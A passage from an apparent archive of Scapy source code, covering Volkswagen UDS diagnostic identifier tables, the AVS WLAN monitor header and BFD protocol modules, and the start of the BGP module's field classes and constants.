"Valve_block_2_in_driver_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb3] = "Valve_block_3_in_driver_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb4] = "Switch_for_rear_multicontour_seat_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb5] = "Valve_block_1_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb6] = "Valve_block_2_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb7] = "Valve_block_3_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb8] = "Switch_for_front_multicontour_seat_driver_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eb9] = "Valve_block_1_in_driver_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eba] = "Valve_block_2_in_driver_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ebb] = "Valve_block_3_in_driver_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ebc] = "Switch_for_front_multicontour_seat_passenger_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ebd] = "Valve_block_1_in_passenger_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ebe] = "Valve_block_2_in_passenger_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ebf] = "Valve_block_3_in_passenger_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec0] = "Coolant_heater_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec1] = "Seat_backrest_fan_1_front_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec2] = "Seat_backrest_fan_2_front_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec3] = "Seat_cushion_fan_1_front_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec4] = "Seat_cushion_fan_2_front_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec5] = "Seat_backrest_fan_1_front_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec6] = "Seat_backrest_fan_2_front_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec7] = "Seat_cushion_fan_1_front_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec8] = "Seat_cushion_fan_2_front_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ec9] = "Operating_and_display_unit_1_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eca] = "Operating_and_display_unit_2_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ecb] = "Operating_and_display_unit_3_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ecc] = "Operating_and_display_unit_4_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ecd] = "Operating_and_display_unit_5_for_air_conditioning_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ece] = "Pedestrian_protection_left_hand_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ecf] = "Pedestrian_protection_right_hand_side_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed0] = "Battery_junction_box_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed1] = "Cell_module_controller_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed2] = "Cell_module_controller_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed3] = "Cell_module_controller_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed4] = "Cell_module_controller_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed5] = "Cell_module_controller_5_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed6] = "Cell_module_controller_6_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed7] = "Cell_module_controller_7_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed8] = "Cell_module_controller_8_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ed9] = "Cell_module_controller_9_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eda] = "Cell_module_controller_10_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6edb] = "Cell_module_controller_11_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6edc] = "Cell_module_controller_12_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6edd] = "Seat_backrest_fan_1_rear_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ede] = "Seat_backrest_fan_2_rear_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6edf] = "Seat_cushion_fan_1_rear_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee0] = "Seat_cushion_fan_2_rear_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee1] = "Seat_backrest_fan_1_rear_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee2] = "Seat_backrest_fan_2_rear_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee3] = "Seat_cushion_fan_1_rear_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee4] = "Seat_cushion_fan_2_rear_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee5] = "Auxiliary_blower_motor_control_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee6] = "Auxiliary_blower_motor_control_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee7] = "Infrared_sender_for_front_observation_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee8] = "Starter_generator_control_module_sub_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ee9] = "Media_player_1_sub_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eea] = "Media_player_2_sub_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eeb] = "Dedicated_short_range_communication_aerial_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eec] = "Refrigerant_pressure_and_temperature_sender_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eed] = "Refrigerant_pressure_and_temperature_sender_5_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eee] = "Refrigerant_pressure_and_temperature_sender_6_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eef] = "Air_coolant_actuator_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef0] = "Air_coolant_actuator_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef1] = "Cell_module_controller_13_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef2] = "Cell_module_controller_14_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef3] = "Cell_module_controller_15_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef5] = "Seat_heating_rear_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef6] = "LED_warning_indicator_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef7] = "Automatic_transmission_fluid_pump_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef8] = "Manual_transmission_fluid_pump_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6ef9] = "Convenience_and_driver_assist_operating_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6efb] = "Air_coolant_actuator_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6efc] = "Valve_block_4_in_driver_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6efd] = "Valve_block_4_in_passenger_side_rear_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6efe] = "Valve_block_4_in_driver_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6eff] = "Valve_block_4_in_passenger_side_front_seat_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f01] = "Rear_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f02] = "Refrigerant_expansion_valve_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f03] = "Refrigerant_expansion_valve_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f04] = "Refrigerant_expansion_valve_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f05] = "Refrigerant_shut_off_valve_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f06] = "Refrigerant_shut_off_valve_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f07] = "Refrigerant_shut_off_valve_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f08] = "Refrigerant_shut_off_valve_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f09] = "Refrigerant_shut_off_valve_5_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0a] = "Sunlight_sensor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0b] = "Near_field_communication_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0c] = "Clutch_control_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0d] = "Electrical_charger_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0e] = "Rear_light_left_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f0f] = "Rear_light_right_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f10] = "Rear_light_right_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f11] = "Sunlight_sensor_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f12] = "Radiator_shutter_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f13] = "Radiator_shutter_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f14] = "Radiator_shutter_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f15] = "Radiator_shutter_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f18] = "Special_key_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f19] = "Radio_interface_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1a] = "Video_self_protection_recorder_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1b] = "Special_vehicle_assist_interface_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1c] = "Electric_system_disconnection_diode_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1d] = "Cradle_rear_climatronic_operating_and_display_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1e] = "Belt_pretensioner_2nd_row_left_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f1f] = "Belt_pretensioner_2nd_row_right_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f20] = "Electrical_variable_camshaft_phasing_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f21] = "Electrical_variable_camshaft_phasing_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f22] = "Wireless_operating_unit_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f23] = "Wireless_operating_unit_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f24] = "Front_windshield_washer_pump_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f25] = "Air_quality_sensor_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f26] = "Fragrancing_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f27] = "Coolant_valve_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f28] = "Near_field_communication_control_module_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f29] = "Interior_monitoring_rear_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2a] = "Cooler_fan_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2b] = "Control_unit_heating_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2c] = "Control_unit_heating_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2d] = "Control_unit_heating_3_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2e] = "Control_unit_heating_4_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f2f] = "Operating_unit_drive_mode_selection_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f30] = "Side_sensor_a-pillar_driver_front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f31] = "Side_sensor_a-pillar_passenger_front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f32] = "Sensor_high_voltage_system_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f33] = "Side_sensor_b-pillar_driver_front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f34] = "Side_sensor_b-pillar_passenger_front_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f35] = "Multi_function_steering_wheel_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f36] = "Gear_selection_display_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f37] = "Cooler_fan_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f38] = "Gear_selector_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f39] = "Interior_light_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3a] = "Radio_control_center_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3b] = "Multimedia_extension_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3c] = "Control_unit_differential_lock_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3d] = "Control_unit_ride_control_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3e] = "Control_unit_hands_on_detection_steering_wheel_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f3f] = "Front_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f40] = "Auxiliary_display_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f41] = "Card_reader_tv_tuner_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f42] = "Park_lock_actuator_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f43] = "Media_connector_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x6f44] = "Catalyst_heating_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0xef90] = "Secure_hardware_extension_status" UDS_RDBI.dataIdentifiers[0xf15a] = "Fingerprint" UDS_RDBI.dataIdentifiers[0xf15b] = "Fingerprint And Programming Date Of Logical Software Blocks" UDS_RDBI.dataIdentifiers[0xf17c] = "VW FAZIT Identification String" UDS_RDBI.dataIdentifiers[0xf186] = "Active Diagnostic Session" UDS_RDBI.dataIdentifiers[0xf187] = "VW Spare Part Number" UDS_RDBI.dataIdentifiers[0xf189] = "VW Application Software Version Number" UDS_RDBI.dataIdentifiers[0xf18a] = "System Supplier Identifier" UDS_RDBI.dataIdentifiers[0xf18c] = "ECU Serial Number" UDS_RDBI.dataIdentifiers[0xf190] = "Vehicle Identification Number" UDS_RDBI.dataIdentifiers[0xf191] = "VW ECU Hardware Number" UDS_RDBI.dataIdentifiers[0xf192] = "System Supplier ECU Hardware Number" UDS_RDBI.dataIdentifiers[0xf193] = "System Supplier ECU Hardware Version Number" UDS_RDBI.dataIdentifiers[0xf194] = "System Supplier ECU Software Number" UDS_RDBI.dataIdentifiers[0xf195] = "System Supplier ECU Software Version Number" UDS_RDBI.dataIdentifiers[0xf197] = "VW System Name Or Engine Type" UDS_RDBI.dataIdentifiers[0xf19e] = "ASAM ODX File Identifier" UDS_RDBI.dataIdentifiers[0xf1a0] = "VW Data Set Number Or ECU Data Container Number" UDS_RDBI.dataIdentifiers[0xf1a1] = "VW Data Set Version Number" UDS_RDBI.dataIdentifiers[0xf1a2] = "ASAM ODX File Version" UDS_RDBI.dataIdentifiers[0xf1a3] = "VW ECU Hardware Version Number" UDS_RDBI.dataIdentifiers[0xf1aa] = "VW Workshop System Name" UDS_RDBI.dataIdentifiers[0xf1ab] = "VW Logical Software Block Version" UDS_RDBI.dataIdentifiers[0xf1ad] = "Engine Code Letters" UDS_RDBI.dataIdentifiers[0xf1af] = "AUTOSAR_standard_application_software_identification" UDS_RDBI.dataIdentifiers[0xf1b0] = "VWClear_diagnostic_information_date_functional" UDS_RDBI.dataIdentifiers[0xf1b1] = "VW_Application_data_set_identification" UDS_RDBI.dataIdentifiers[0xf1b2] = "Function_software_identification" UDS_RDBI.dataIdentifiers[0xf1b3] = "VW_Data_set_name" UDS_RDBI.dataIdentifiers[0xf1b5] = "Busmaster_description" UDS_RDBI.dataIdentifiers[0xf1b6] = "System_identification" UDS_RDBI.dataIdentifiers[0xf1b7] = "Gateway_component_list_ECU_node_address" UDS_RDBI.dataIdentifiers[0xf1d5] = "FDS_project_data" UDS_RDBI.dataIdentifiers[0xf1df] = "ECU Programming Information" UDS_RC.routineControlTypes[0x0202] = "Check Memory" UDS_RC.routineControlTypes[0x0203] = "Check Programming Preconditions" UDS_RC.routineControlTypes[0x0317] = "Reset of Adaption Values" UDS_RC.routineControlTypes[0x0366] = "Reset of all Adaptions" UDS_RC.routineControlTypes[0x03e7] = "Reset to Factory Settings" UDS_RC.routineControlTypes[0x045a] = "Clear user defined DTC information" UDS_RC.routineControlTypes[0x0544] = "Verify partial software checksum" UDS_RC.routineControlTypes[0x0594] = "Check upload preconditions" UDS_RC.routineControlTypes[0xff00] = "Erase Memory" UDS_RC.routineControlTypes[0xff01] = "Check Programming Dependencies" UDS_RD.dataFormatIdentifiers[0x0000] = "Uncompressed" UDS_RD.dataFormatIdentifiers[0x0001] = "Compression Method 1" UDS_RD.dataFormatIdentifiers[0x0002] = "Compression Method 2" UDS_RD.dataFormatIdentifiers[0x0003] = "Compression Method 3" UDS_RD.dataFormatIdentifiers[0x0004] = "Compression Method 4" UDS_RD.dataFormatIdentifiers[0x0005] = "Compression Method 5" UDS_RD.dataFormatIdentifiers[0x0006] = "Compression Method 6" UDS_RD.dataFormatIdentifiers[0x0007] = "Compression Method 7" UDS_RD.dataFormatIdentifiers[0x0008] = "Compression Method 8" UDS_RD.dataFormatIdentifiers[0x0009] = "Compression Method 9" UDS_RD.dataFormatIdentifiers[0x000a] = "Compression Method 10" UDS_RD.dataFormatIdentifiers[0x000b] = "Compression Method 11" UDS_RD.dataFormatIdentifiers[0x000c] = "Compression Method 12" UDS_RD.dataFormatIdentifiers[0x000d] = "Compression Method 13" UDS_RD.dataFormatIdentifiers[0x000e] = "Compression Method 14" UDS_RD.dataFormatIdentifiers[0x000f] = "Compression Method 15" scapy-2.4.4/scapy/contrib/avs.py000066400000000000000000000050461372370053500165740ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = AVS WLAN Monitor Header # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import IntEnumField, IntField, LongField, SignedIntField from scapy.layers.dot11 import Dot11 from scapy.data import DLT_IEEE802_11_RADIO_AVS from scapy.config import conf AVSWLANPhyType = {0: "Unknown", 1: "FHSS 802.11 '97", 2: "DSSS 802.11 '97", 3: "IR Baseband", 4: "DSSS 802.11b", 5: "PBCC 802.11b", 6: "OFDM 802.11g", 7: "PBCC 802.11g", 8: "OFDM 802.11a"} AVSWLANEncodingType = {0: "Unknown", 1: "CCK", 2: "PBCC", 3: "OFDM"} AVSWLANSSIType = {0: "None", 1: "Normalized RSSI", 2: "dBm", 3: "Raw RSSI"} AVSWLANPreambleType = {0: "Unknown", 1: "Short", 2: "Long"} class AVSWLANHeader(Packet): """ iwpriv eth1 set_prismhdr 1 """ name = "AVS WLAN Monitor Header" fields_desc = [IntField("version", 1), IntField("len", 64), LongField("mactime", 0), LongField("hosttime", 0), IntEnumField("phytype", 0, AVSWLANPhyType), IntField("channel", 0), IntField("datarate", 0), IntField("antenna", 0), IntField("priority", 0), IntEnumField("ssi_type", 0, AVSWLANSSIType), SignedIntField("ssi_signal", 0), SignedIntField("ssi_noise", 0), IntEnumField("preamble", 0, AVSWLANPreambleType), IntEnumField("encoding", 0, AVSWLANEncodingType), ] conf.l2types.register(DLT_IEEE802_11_RADIO_AVS, AVSWLANHeader) bind_layers(AVSWLANHeader, Dot11) scapy-2.4.4/scapy/contrib/bfd.py000066400000000000000000000024361372370053500165360ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Parag Bhide # This program is published under GPLv2 license """ BFD - Bidirectional Forwarding Detection - RFC 5880, 5881 """ # scapy.contrib.description = BFD # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import BitField, FlagsField, XByteField from scapy.layers.inet import UDP class BFD(Packet): name = "BFD" fields_desc = [ BitField("version", 1, 3), BitField("diag", 0, 5), BitField("sta", 3, 2), FlagsField("flags", 0x00, 6, ['P', 'F', 'C', 'A', 'D', 'M']), XByteField("detect_mult", 0x03), XByteField("len", 24), BitField("my_discriminator", 0x11111111, 32), BitField("your_discriminator", 0x22222222, 32), BitField("min_tx_interval", 1000000000, 32), BitField("min_rx_interval", 1000000000, 32), BitField("echo_rx_interval", 1000000000, 32)] def mysummary(self): return self.sprintf( "BFD (my_disc=%BFD.my_discriminator%," "your_disc=%BFD.my_discriminator%)" ) bind_bottom_up(UDP, BFD, dport=3784) bind_bottom_up(UDP, BFD, sport=3784) bind_layers(UDP, BFD, sport=3784, dport=3784) scapy-2.4.4/scapy/contrib/bgp.py000066400000000000000000002116371372370053500165600ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = BGP v0.1 # scapy.contrib.status = loads """ BGP (Border Gateway Protocol). """ from __future__ import absolute_import import struct import re import socket from scapy import pton_ntop from scapy.packet import Packet, Packet_metaclass, bind_layers from scapy.fields import (Field, BitField, BitEnumField, XBitField, ByteField, ByteEnumField, ShortField, ShortEnumField, IntField, IntEnumField, LongField, IEEEFloatField, StrField, StrLenField, StrFixedLenField, FieldLenField, FieldListField, PacketField, PacketListField, IPField, FlagsField, ConditionalField, MultiEnumField) from scapy.layers.inet import TCP from scapy.layers.inet6 import IP6Field from scapy.config import conf, ConfClass from scapy.compat import orb, chb from scapy.error import log_runtime import scapy.modules.six as six # # Module configuration # class BGPConf(ConfClass): """ BGP module configuration. """ # By default, set to True in order to behave like an OLD speaker (RFC 6793) use_2_bytes_asn = True bgp_module_conf = BGPConf() # # Constants # # RFC 4271: "The maximum message size is 4096 octets. All implementations are # required to support this maximum message size." BGP_MAXIMUM_MESSAGE_SIZE = 4096 # RFC 4271: "Each message has a fixed-size header." Marker (16 bytes) + # Length (2 bytes) + Type (1 byte) _BGP_HEADER_SIZE = 19 # Marker included in every message (RFC 4271: "This 16-octet field is # included for compatibility; it MUST be set to all ones") _BGP_HEADER_MARKER = b"\xff" * 16 # extended-length flag (RFC 4271 4.3. UPDATE Message Format - # Path Attributes) _BGP_PA_EXTENDED_LENGTH = 0x10 # RFC 5492 (at least 2 bytes : code + length) _BGP_CAPABILITY_MIN_SIZE = 2 # RFC 5492 (at least 3 bytes : type code + length) _BGP_PATH_ATTRIBUTE_MIN_SIZE = 3 # # Fields and utilities # def _bits_to_bytes_len(length_in_bits): """ Helper function that returns the numbers of bytes necessary to store the given number of bits. """ return (length_in_bits + 7) // 8 class BGPFieldIPv4(Field): """ IPv4 Field (CIDR) """ def mask2iplen(self, mask): """Get the IP field mask length (in bytes).""" return (mask + 7) // 8 def h2i(self, pkt, h): """x.x.x.x/y to "internal" representation.""" ip, mask = re.split("/", h) return int(mask), ip def i2h(self, pkt, i): """"Internal" representation to "human" representation (x.x.x.x/y).""" mask, ip = i return ip + "/" + str(mask) def i2repr(self, pkt, i): return self.i2h(pkt, i) def i2len(self, pkt, i): mask, ip = i return self.mask2iplen(mask) + 1 def i2m(self, pkt, i): """"Internal" (IP as bytes, mask as int) to "machine" representation.""" mask, ip = i ip = socket.inet_aton(ip) return struct.pack(">B", mask) + ip[:self.mask2iplen(mask)] def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): length = self.mask2iplen(orb(s[0])) + 1 return s[length:], self.m2i(pkt, s[:length]) def m2i(self, pkt, m): mask = orb(m[0]) mask2iplen_res = self.mask2iplen(mask) ip = b"".join(m[i + 1:i + 2] if i < mask2iplen_res else b"\x00" for i in range(4)) # noqa: E501 return (mask, socket.inet_ntoa(ip)) class BGPFieldIPv6(Field): """IPv6 Field (CIDR)""" def mask2iplen(self, mask): """Get the IP field mask length (in bytes).""" return (mask + 7) // 8 def h2i(self, pkt, h): """x.x.x.x/y to internal representation.""" ip, mask = re.split("/", h) return int(mask), ip def i2h(self, pkt, i): """"Internal" representation to "human" representation.""" mask, ip = i return ip + "/" + str(mask) def i2repr(self, pkt, i): return self.i2h(pkt, i) def i2len(self, pkt, i): mask, ip = i return self.mask2iplen(mask) + 1 def i2m(self, pkt, i): """"Internal" (IP as bytes, mask as int) to "machine" representation.""" # noqa: E501 mask, ip = i ip = pton_ntop.inet_pton(socket.AF_INET6, ip) return struct.pack(">B", mask) + ip[:self.mask2iplen(mask)] def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): length = self.mask2iplen(orb(s[0])) + 1 return s[length:], self.m2i(pkt, s[:length]) def m2i(self, pkt, m): mask = orb(m[0]) ip = b"".join(m[i + 1:i + 2] if i < self.mask2iplen(mask) else b"\x00" for i in range(16)) # noqa: E501 return (mask, pton_ntop.inet_ntop(socket.AF_INET6, ip)) def has_extended_length(flags): """ Used in BGPPathAttr to check if the extended-length flag is set. """ return flags & _BGP_PA_EXTENDED_LENGTH == _BGP_PA_EXTENDED_LENGTH class BGPNLRI_IPv4(Packet): """ Packet handling IPv4 NLRI fields. """ name = "IPv4 NLRI" fields_desc = [BGPFieldIPv4("prefix", "0.0.0.0/0")] class BGPNLRI_IPv6(Packet): """ Packet handling IPv6 NLRI fields. """ name = "IPv6 NLRI" fields_desc = [BGPFieldIPv6("prefix", "::/0")] class BGPNLRIPacketListField(PacketListField): """ PacketListField handling NLRI fields. """ def getfield(self, pkt, s): lst = [] length = None ret = b"" if self.length_from is not None: length = self.length_from(pkt) if length is not None: remain, ret = s[:length], s[length:] else: index = s.find(_BGP_HEADER_MARKER) if index != -1: remain = s[:index] ret = s[index:] else: remain = s while remain: mask_length_in_bits = orb(remain[0]) mask_length_in_bytes = (mask_length_in_bits + 7) // 8 current = remain[:mask_length_in_bytes + 1] remain = remain[mask_length_in_bytes + 1:] packet = self.m2i(pkt, current) lst.append(packet) return remain + ret, lst class _BGPInvalidDataException(Exception): """ Raised when it is not possible to instantiate a BGP packet with the given data. """ def __init__(self, details): Exception.__init__( self, "Impossible to build packet from the given data" + details ) def _get_cls(name, fallback_cls=conf.raw_layer): """ Returns class named "name" if it exists, fallback_cls otherwise. """ return globals().get(name, fallback_cls) # # Common dictionaries # _bgp_message_types = { 0: "NONE", 1: "OPEN", 2: "UPDATE", 3: "NOTIFICATION", 4: "KEEPALIVE", 5: "ROUTE-REFRESH" } # # AFIs # address_family_identifiers = { 0: "Reserved", 1: "IP (IP version 4)", 2: "IP6 (IP version 6)", 3: "NSAP", 4: "HDLC (8-bit multidrop)", 5: "BBN 1822", 6: "802 (includes all 802 media plus Ethernet \"canonical format\")", 7: "E.163", 8: "E.164 (SMDS, Frame Relay, ATM)", 9: "F.69 